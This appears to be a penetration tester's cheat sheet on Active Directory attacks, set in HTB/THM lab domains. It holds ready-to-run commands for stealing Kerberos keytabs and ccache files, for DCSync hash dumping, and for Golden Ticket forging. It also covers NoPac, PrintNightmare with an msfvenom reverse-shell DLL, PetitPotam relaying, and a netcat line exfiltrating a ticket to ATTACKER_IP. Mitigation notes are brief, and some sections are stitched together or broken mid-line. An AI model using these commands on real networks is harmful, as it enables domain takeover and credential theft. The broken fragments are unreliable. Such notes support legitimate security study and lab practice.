python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "".encode("utf-16le")).digest())'
```
## Keytab File Extraction
Find keytab files on a compromised Linux host:
```bash
find / -name *keytab* -ls 2>/dev/null
find / -name '*.kt*' -ls 2>/dev/null
```
Extract hashes from a keytab file:
```bash
python3 keytabextract.py /opt/specialfiles/carlos.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : INLANEFREIGHT.HTB
SERVICE PRINCIPAL : carlos/
NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4
```
### Import and Use a Keytab
```bash
kinit svc_workstations@INLANEFREIGHT.HTB -k -t /path/to/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls' -k -no-pass
```
### SSH with Kerberos Principal
```bash
ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
```
***
## Ccache Impersonation
Ccache files store Kerberos tickets on Linux. Look for them in `/tmp`:
```bash
ls -la /tmp
# Look for files like: krb5cc_647401106_EcdLGj
```
### Check Ccache Validity
```bash
klist -c /tmp/krb5cc_647401106_JWxczE
Ticket cache: FILE:/tmp/krb5cc_647401106_JWxczE
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
03/06/2026 02:04:14 03/06/2026 12:04:14 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
```
### Use a Ccache File
```bash
export KRB5CCNAME=/tmp/krb5cc_647401106_JWxczE
# Access shares
smbclient //dc01/C$ -k -c ls -no-pass
# Interactive SMB session
smbclient //DC01/julio -N
# Evil-WinRM with Kerberos
evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local
```
### Use Ccache Through a Proxy
```bash
export KRB5CCNAME=/tmp/ccache_file.txt
proxychains evil-winrm -i dc01 -r inlanefreight.htb
```
### Linikatz β Machine Account Authentication
Use linikatz to authenticate with the machine's Kerberos ticket:
```bash
# Check the SSS ticket cache
export KRB5CCNAME=FILE:/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
klist
smbclient //DC01/linux01 -N
```
***
## Ticket Conversion
Convert between ccache (Linux) and kirbi (Windows) formats:
```bash
# ccache to kirbi
impacket-ticketConverter /tmp/julio.ccache julio.kirbi
# kirbi to ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
```
**Note:** If the ccache is already in the correct format for your tool, don't convert it β just set `KRB5CCNAME`.
***
## Transfer Ccache Off Target
When you need to exfiltrate a ccache file from a compromised Linux host:
```bash
# On target
nc ATTACKER_IP 1234 < /tmp/krb5cc_647401106_JWxczE
# On attacker
nc -nvlp 1234 > stolen.ccache
```
***
## krb5.conf Setup
For Kerberos authentication to work from your attack machine, configure `/etc/krb5.conf`:
```ini
[libdefaults]
default_realm = INLANEFREIGHT.LOCAL
rdns = false
[realms]
INLANEFREIGHT.LOCAL = {
kdc = dc01.inlanefreight.local
admin_server = dc01.inlanefreight.local
}
```
### /etc/hosts Setup
```
10.129.234.174 inlanefreight.local inlanefreight dc01.inlanefreight.local dc01
```
Verify DNS resolution:
```bash
getent hosts dc01.inlanefreight.local
10.129.234.174 inlanefreight.local inlanefreight dc01.inlanefreight.local dc01
```
***
## Tools
* [Impacket](https://github.com/SecureAuthCorp/impacket)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Rubeus](https://github.com/GhostPack/Rubeus)
* [Rubeus](https://github.com/Zer1t0/Rubeus) with brute module
* [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)
* [kerbrute.py](https://github.com/TarlogicSecurity/kerbrute)
* [tickey](https://github.com/TarlogicSecurity/tickey)
* [ticket\_converter.py](https://github.com/Zer1t0/ticket_converter)
# ACL Abuse
## Overview
* Access Control Lists (ACLs) define who has access to which asset/resource and the level of access
* ACEs (Access Control Entries) map back to a user, group, or process and define the rights granted
* Two types: DACL (Discretionary - who can access) and SACL (System - audit logging)
* ACL misconfigurations are a serious threat and cannot be detected by vulnerability scanners
## Abusable ACE Permissions
| Permission | Abuse Method |
| ------------------- | ------------------------------------------------------- |
| ForceChangePassword | `Set-DomainUserPassword` |
| Add Members | `Add-DomainGroupMember` |
| GenericAll | `Set-DomainUserPassword` or `Add-DomainGroupMember` |
| GenericWrite | `Set-DomainObject` (set SPN for targeted Kerberoasting) |
| WriteOwner | `Set-DomainObjectOwner` |
| WriteDACL | `Add-DomainObjectACL` |
| AllExtendedRights | `Set-DomainUserPassword` or `Add-DomainGroupMember` |
| AddSelf | `Add-DomainGroupMember` |
## Enumerating ACLs with PowerView
### Find all objects a user has rights over
```powershell
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```
### Using built-in tools (no PowerView)
```powershell
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
```
### Reverse search GUID to human-readable
```powershell
$guid = "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl
```
## Enumerating ACLs with BloodHound
* Set user as starting node > Node Info > Outbound Control Rights
* First Degree Object Control shows direct rights
* Transitive Object Control shows full attack paths
* Right-click edges for help on abuse methods
* Use pre-built queries: "Find Principals with DCSync Rights", "Shortest Paths to Domain Admins"
## Attack Chain Example
### 1. ForceChangePassword
```powershell
$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
```
From Linux, `pth-net rpc password` can reset a target user's password when your controlled principal has `ForceChangePassword`, `GenericAll`, or equivalent rights:
```bash
pth-net rpc password "TARGET.USER" "NewP@ssword2022" \
-U "DOMAIN"/"CONTROLLED.USER"%"CONTROLLED_PASSWORD" \
-S DC_IP
```
Verify the new credential:
```bash
nxc ldap DOMAIN -d DOMAIN -u "TARGET.USER" -p 'NewP@ssword2022' -t 1
```
### 2. GenericWrite - Add user to group
```powershell
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
```
### 3. GenericAll - Targeted Kerberoasting (set fake SPN)
```powershell
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:adunn /nowrap
```
## Cleanup
```powershell
# Remove fake SPN (do this FIRST)
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
# Remove user from group
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
# Reset password back to original if known
```
## Detection
* Enable Advanced Security Audit Policy
* Monitor Event ID 5136: A directory service object was modified
* Monitor group membership changes
* Regular AD audits with BloodHound
# DCSync
## Overview
* DCSync steals the Active Directory password database using the built-in Directory Replication Service Remote Protocol
* Mimics a Domain Controller to retrieve user NTLM password hashes
* Requires `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` extended rights
* Domain/Enterprise Admins have this right by default
## Checking for DCSync Rights
### PowerView
```powershell
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
```
### BloodHound
* Use pre-built query: "Find Principals with DCSync Rights"
## Performing DCSync
### From Linux with secretsdump.py
```bash
# Dump all hashes
impacket-secretsdump -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
# NTLM hashes only
impacket-secretsdump -just-dc-ntlm INLANEFREIGHT/adunn@172.16.5.5
# Specific user only
impacket-secretsdump -just-dc-user administrator INLANEFREIGHT/adunn@172.16.5.5
# Additional useful flags
# -pwd-last-set Show when each password was last changed
# -history Dump password history
# -user-status Show if user is disabled
```
### From Windows with Mimikatz
```
# Must run as user with DCSync rights (use runas if needed)
runas /netonly /user:INLANEFREIGHT\adunn powershell
# In the new PowerShell session
.\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
```
## Output Files
* When using `-just-dc` flag, three files are created:
* `.ntds` - NTLM hashes
* `.ntds.kerberos` - Kerberos keys
* `.ntds.cleartext` - Cleartext passwords (accounts with reversible encryption)
## Reversible Encryption
* Accounts with "Store passwords using reversible encryption" enabled store passwords using RC4 encryption
* The Syskey can decrypt them, and tools like secretsdump.py will show cleartext
* Check for accounts with reversible encryption:
```powershell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
# PowerView
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol
```
## DCSync via Group Membership Abuse
If you have GenericAll over a group that holds DCSync rights (e.g., `GetChanges` and `GetChangesAll`), add yourself to that group then perform DCSync.
### Add User to Privileged Group
```powershell
$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)
$group = Convert-NameToSid "Server Admins"
Add-DomainGroupMember -Identity $group -Members 'targetuser' -Credential $Cred -Verbose
```
### DCSync After Group Addition
```bash
impacket-secretsdump targetuser@DC_IP -just-dc-ntlm
```
### Cleanup
```powershell
Remove-DomainGroupMember -Identity "Server Admins" -Members 'targetuser' -Credential $Cred -Verbose
```
***
## Mitigation
* Limit accounts with DCSync rights to only Domain Controllers
* Monitor for replication requests from non-DC sources
* Audit the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions regularly
# Domain Trust Abuse
## Trust Types
* **Parent-child**: Two-way transitive trust between parent and child domains in the same forest
* **Cross-link**: Trust between child domains to speed up authentication
* **External**: Non-transitive trust between separate domains in separate forests (uses SID filtering)
* **Tree-root**: Two-way transitive trust between forest root and a new tree root domain
* **Forest**: Transitive trust between two forest root domains
## Trust Direction
* **One-way**: Users in the trusted domain can access resources in the trusting domain, not vice-versa
* **Bidirectional**: Users from both domains can access resources in the other domain
* **Transitive**: Trust extends to objects that the child domain trusts (A trusts B, B trusts C, so A trusts C)
* **Non-transitive**: Only the child domain itself is trusted
## Enumerating Trusts
### PowerShell AD Module
```powershell
Import-Module activedirectory
Get-ADTrust -Filter *
```
### PowerView
```powershell
Get-DomainTrust
Get-DomainTrustMapping
```
### netdom
```cmd
netdom query /domain:inlanefreight.local trust
netdom query /domain:inlanefreight.local dc
netdom query /domain:inlanefreight.local workstation
```
### BloodHound
* Use pre-built query: "Map Domain Trusts"
### Enumerate users in child domain
```powershell
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
```
## Child -> Parent Trust Abuse (ExtraSids Attack)
### Overview
* Within the same AD forest, the sidHistory property is respected (no SID Filtering)
* We can create a Golden Ticket from the compromised child domain to compromise the parent
* Set sidHistory to Enterprise Admins group SID for full forest access
### Prerequisites
1. KRBTGT hash for the child domain
2. SID for the child domain
3. Name of a target user (does NOT need to exist)
4. FQDN of the child domain
5. SID of the Enterprise Admins group of the root domain
### Gathering Info
#### Get KRBTGT hash (Mimikatz)
```
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
```
#### Get child domain SID (PowerView)
```powershell
Get-DomainSID
```
#### Get Enterprise Admins SID
```powershell
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
```
### From Windows
#### Mimikatz Golden Ticket
```
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
```
#### Rubeus Golden Ticket
```powershell
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
```
#### Verify with klist
```
klist
```
#### DCSync the parent domain
```
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
```
#### Full Windows chain (Rubeus + Mimikatz)
```powershell
# Create golden ticket with ExtraSids via Rubeus
.\Rubeus.exe golden /rc4: /domain: /sid: /sids: /user:hacker /ptt
# Then DCSync the parent
.\mimikatz.exe
lsadump::dcsync /user:\administrator /domain:
```
### From Linux
#### DCSync child domain for KRBTGT hash
```bash
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
```
#### SID brute forcing with lookupsid.py
```bash
# Get child domain SID
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
# Get Enterprise Admins RID from parent domain
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
```
#### Construct Golden Ticket with ticketer.py
```bash
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
```
#### Use the ticket
```bash
export KRB5CCNAME=hacker.ccache
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
```
#### Alternative: raiseChild.py (automated)
```bash
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
```
* Automates the entire child->parent escalation
* Obtains KRBTGT hash, creates Golden Ticket, DCSync parent domain, returns SYSTEM shell
## Cross-Forest Trust Abuse
### Kerberoasting Across Forest Trust
```powershell
# Enumerate SPNs in target forest
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
# Request TGS ticket for cross-forest SPN
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | Get-DomainSPNTicket -Domain FREIGHTLOGISTICS.LOCAL
```
### From Linux
```bash
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
# Request the actual TGS tickets
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
```
### Admin Password Reuse
* Check if admin hashes/passwords work across trust boundaries
```bash
secretsdump.py FREIGHTLOGISTICS.LOCAL/administrator@academy-ea-dc03.freightlogistics.local -just-dc-user administrator
```
### Foreign Group Membership
* BloodHound: Check for users from one domain that are members of groups in another domain
* Query: "Find users that belong to groups in another domain"
```powershell
# PowerView: enumerate foreign group members
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Convert-SidToName
```
## SID Filtering
* SID Filtering sanitizes the SID History attribute for cross-forest trusts
* External trusts and cross-forest trusts apply SID Filtering by default
* Intra-forest trusts (parent-child) do NOT apply SID Filtering
* This is why the ExtraSids attack works within a forest but NOT across forests
# Miscellaneous AD Misconfigurations
## NoPac (SamAccountName Spoofing)
### Overview
* Exploits CVE-2021-42278 (SAM bypass) and CVE-2021-42287 (Kerberos PAC vulnerability)
* Allows any standard domain user to escalate to Domain Admin in a single command
* Changes a computer account's SamAccountName to match a DC, then requests Kerberos tickets as the DC
### Scanning
```bash
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
```
* If `ms-DS-MachineAccountQuota = 10`, attack is likely possible
* Setting MachineAccountQuota to 0 prevents this attack
### Getting a Shell
```bash
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
```
### DCSync via NoPac
```bash
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
```
## PrintNightmare (CVE-2021-34527 / CVE-2021-1675)
### Enumerating for MS-RPRN
```bash
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
```
### Exploit (cube0x0 version)
```bash
# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
# Host on SMB share
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
# Run exploit
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'
```
## PetitPotam (MS-EFSRPC / CVE-2021-36942)
### Overview
* Unauthenticated attacker coerces DC to authenticate via NTLM to attacker host
* Relay authentication to AD CS (Certificate Services) to obtain a certificate
* Use certificate to request TGT for the DC machine account, then DCSync
### Attack Chain
```bash
# 1. Start ntlmrelayx targeting AD CS
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
# 2. Run PetitPotam to coerce DC authentication
python3 PetitPotam.py 172.16.5.225 172.16.5.5
# 3. Use obtained base64 cert to get TGT
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 dc01.ccache
# 4. Set ccache and DCSync
export KRB5CCNAME=dc01.ccache
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```
### Mitigation
* Apply CVE-2021-36942 patch
* Extended Protection for Authentication + Require SSL on CA web enrollment
* Disable NTLM authentication for Domain Controllers
* Disable NTLM on AD CS servers
## Exchange-Related Attacks
### Exchange Windows Permissions Group
* Members can write a DACL to the domain object
* Can be leveraged to grant DCSync privileges
* Often contains users from Account Operators group
### PrivExchange
* Exploits PushSubscription feature to force Exchange server to authenticate
* Exchange runs as SYSTEM with WriteDacl on the domain (pre-2019 CU)
* Relay to LDAP to obtain domain NTDS database
### Organization Management Group
* Effectively "Domain Admins" of Exchange
* Full control of Exchange Security Groups OU
* Can access all domain mailboxes
## Printer Bug (MS-RPRN)
* Any domain user can force a server to authenticate via the Print Spooler service
* Spooler runs as SYSTEM, installed by default on Desktop Experience
* Can relay to LDAP for DCSync or RBCD attack
* Useful for compromising DC in partner domain/forest with Unconstrained Delegation
### Check for Printer Bug
```powershell
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```
## Password in Description Field
```powershell
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}
```
## PASSWD\_NOTREQD Accounts
```powershell
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
```
## Credentials in SYSVOL Scripts
```powershell
ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts
cat \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts\reset_local_admin_pass.vbs
```
## GPP Passwords (MS14-025)
### Overview
* Group Policy Preferences stored .xml files with AES-256 encrypted passwords in SYSVOL
* Microsoft published the AES key, so they are trivially decryptable
* Patched in 2014 but old files may remain
### Decrypt cpassword
```bash
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
```
### NetExec modules
```bash
# GPP passwords
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_password
# GPP autologon
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
```
## ASREPRoasting (from Misc section)
* Targets accounts with "Do not require Kerberos pre-authentication" enabled
* Does not require an SPN like Kerberoasting
### Enumerate
```powershell
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
```
### Windows (Rubeus)
```powershell
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
```
### Linux
```bash
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
```
### Crack
```bash
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```
## GPO Abuse
* If we have GenericAll/GenericWrite/WriteProperty/WriteDacl over a GPO, we can add rights to users, add local admins, create scheduled tasks
### Enumerate GPOs
```powershell
Get-DomainGPO | select displayname
```
### Check if Domain Users have GPO rights
```powershell
$sid = Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq $sid}
```
### Convert GPO GUID to name
```powershell
Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532
```
### Abuse with SharpGPOAbuse
* Can add local admin, create scheduled task, or other actions
* Be careful: commands affect ALL computers in the OU the GPO is linked to
## Enumerating DNS Records
```bash
# Query all AD DNS records
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5
# Resolve unknown records
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
# View results
head records.csv
```
## Kerberos Double Hop Problem
* When authenticating via WinRM/PSRemoting, your TGT isn't forwarded to the remote session
* You can't run AD commands (e.g. PowerView, ADWS) from the remote host without workarounds
### Workaround 1: PSCredential Object
```powershell
$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)
Get-DomainUser -SPN -Credential $Cred | Select samaccountname
```
### Workaround 2: Register PSSession Configuration
```powershell
Enter-PSSession -ComputerName -Credential
Register-PSSessionConfiguration -Name -RunAsCredential
Restart-Service WinRM
# Re-authenticate with registered session
Enter-PSSession -ComputerName -Credential -ConfigurationName
```
## Sniffing LDAP Credentials
* Many devices (printers, apps) store LDAP creds in their web admin console
* Change the LDAP server IP to your attack host + set up listener on port 389
* May receive cleartext credentials when device tests the connection
## Post-Compromise AD Auditing
### DPAT (Domain Password Audit Tool)
Analyze dumped NTDS hashes against cracked passwords for reporting:
```bash
python3 dpat.py -n ntds.dit -c cracked_hashes.txt -g groups.json
```
* Generates HTML report showing password reuse, weak passwords, admin accounts with cracked passwords
* [DPAT GitHub](https://github.com/clr2of8/DPAT)
### PingCastle
Automated AD security assessment tool:
```cmd
PingCastle.exe --healthcheck --server dc01.domain.local
```
* Produces a risk-scored HTML report covering trusts, GPO issues, Kerberos misconfigurations, privileged group membership, and stale objects
* Run from a domain-joined machine or supply credentials
* [PingCastle](https://www.pingcastle.com/)
# Bloodhound
###
### Docker Install (easiest)
*
### Installing bloodhound on kali:
```
apt-get install bloodhound
```
### Configure Bloodhound
* we need to configure neo4j - mainly just change default passwords, so let's run:
```
neo4j console
#ensure you are the root user, or it will fail
```
to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual mode
βββ(rootγΏsavannah)-[/home/kali]
ββ# neo4j console
--works--
```
### Running Bloodhound
* Run bloodhound with:
```
bloodhound
#ensure you are the root user
```
* Now log into the DB with the user and password you just set up
* It comes in a .exe or .ps1 file
#### AD Enumeration with SharpHound
* If you are on a machine that is a member of a domain but are authenticated as just a local use (not a domain user) you will get an error that states:
```
Unable to contact domain. Try from a domain context!
```
* If you have creds to a domain user use the `runas` utility:
```
runas /user:svc-alfresco@10.10.10.161 powershell
#if machine is not a domain member
runas /netonly /user:svc-alfresco@10.10.10.161 powershell
```
* Once that is done or you have a domain compromised account we can proceed:
* Powershell Version:
```
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -JSONFolder "c:\Users\svc-alfresko\Desktop"
```
* C# method
```
./SharpHound.exe
```
* Both of these will produce a .zip, exfil that file back to bloodhound and simply drag and drop it into the GUI
-u -p '' -ns -w 3 --zip
```
### Admin / Troubleshooting
```bash
# Reset password
./bloodhound-cli resetpwd
./bloodhound-cli config get default_password
# If login issues
./bloodhound-cli uninstall && ./bloodhound-cli install
```
* File upload: `http://127.0.0.1:8080/ui/administration/file-ingest`
### SharpHound (preferred collector)
```powershell
.\SharpHound.exe -c All --zipfilename ILFREIGHT
```
* Prefer SharpHound over bloodhound-python for completeness
# Domain Controllers
## Basics
* Find the NETBIOS Domain Name
```
nbtscan -v 10.10.8.1-254
```
* Should also be in nmap output
```
3389/tcp open ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| DNS_Tree_Name: spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2021-08-20T18:00:52+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
```
* Add to `/etc/hosts`
## Kerbrute
* Find valid users
* Example Syntax
```
kerbrute -users userlist.txt -domain spookysec.local -dc-ip 10.10.55.114
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation
[*] Valid user => james
[*] Valid user => svc-admin [NOT PREAUTH]
[*] Valid user => James
[*] Valid user => robin
[*] Blocked/Disabled user => guest
[*] Valid user => darkstar
```
* what a successful tool run looks like where no valid users are found
```
./kerbrute_linux_amd64 userenum --dc COMPANY.local -d COMPANY.local /home/ubuntu/Documents/htb/company/users.txt
2024/04/14 15:18:42 > Done! Tested 6 usernames (0 valid) in 0.100 seconds
./kerbrute_linux_amd64 userenum --dc COMPANY.local -d COMPANY.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt
2024/04/14 15:20:29 > Done! Tested 17 usernames (0 valid) in 0.227 seconds
```
## Impacket
* Location:
```
/usr/share/doc/python3-impacket/examples/
```
* If we have IPC$ access without authentication we are able to list the domain users as anonymous
```
python3 lookupsid.py anonymous@10.10.10.10 | tee users.txt
```
* Isolate the users with `SidTypeUser`
```
grep SidTypeUser users.txt | awk '{print $2}' | cut -d "\\" -f2 > users.txt
```
* Now, letβs use `GetNPUsers.py` to find users without Kerberos pre-authentication:
```
python3 GetNPUsers.py vulnnet-rst.local/ -no-pass -userfile usernames.txt
```
* Should retrive a hash if the command is sucessful
```
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:692e76f70a8772c46ed94e73130460c8$713b0693498fdaff68642d78e713ca965e5007d5d864ca727289930783fe28f00bf79fef8126c4722d09cafc72ec60e940d31297591f67ce049030cb531ddd9c83cd37796fbf414b830a7c90fe26d2c45d6f2b624cd4413c58e3dbb77519dd69906248f8db27b1974b880a826003e562e25d9de9e4cb7cfa85c1de954761053b7d51a455530001348b46909f91f4e80bae7374071339f0920bb3e2ad95169d20f05d0cd586882facb63c058072dacb7ec8ddbcd9297331e1f6fb6d844ea7967659bee38fde4431af9f9608e9adcb38cb6e20e72bcf61c524f480b5ea2530e16dbeed2272855a61a05c03e84653aa1a3bbbd5ece06633
```
* Crack the hash with `john`
### SMB Samba authenticated access
```
smbclient -U vulnnet-rst.local/t-skid //10.10.100.15/NETLOGON
smbmap -u svc-admin -p management2005 -H 10.10.248.93
smbclient -U spookysec.local/svc-admin \\\\10.10.248.93\\backup
```
* Cat out files with `smb`
```
Enter VULNNET-RST.LOCAL\t-skid's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Mar 17 00:15:49 2021
.. D 0 Wed Mar 17 00:15:49 2021
ResetPassword.vbs A 2821 Wed Mar 17 00:18:14 2021
8540159 blocks of size 4096. 4318542 blocks available
smb: \> get ResetPassword.vbs -
```
### Dump hashes
* Use `secretsdump.py` with impacket
* This will allow us to retrieve all of the password hashes that this user account (that is synced with the domain controller) has to offer.
* Creds used need to be domain admin for this to work
```
python3 secretsdump.py vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.10.100.15
python3 secretsdump.py spookysec.local/backup:backup2517860@10.10.248.93
secretsdump.py -just-dc-ntlm /@
```
#### Alt Method
* Open `cmd.exe`
* Run `ntdsutil` from the command prompt, enter these commands
```
snapshot
activate instance NTDS
create
```
* Takes a snapshot of the DC
* Will show you the UUID of the newly created snapshot.
* ntdsutil is using Volume Shadow Copy for the snapshot creation, but also ensures the database consistency. Use the UUID for the following command:
```
mount
```
* The output will show the path where the snapshot was mounted. Start another cmd.exe as Administrator and copy NTDS.dit (located in `Windows\NTDS\NTDS.dit` by default).
* Create a copy of the `SYSTEM` registry hive:
```
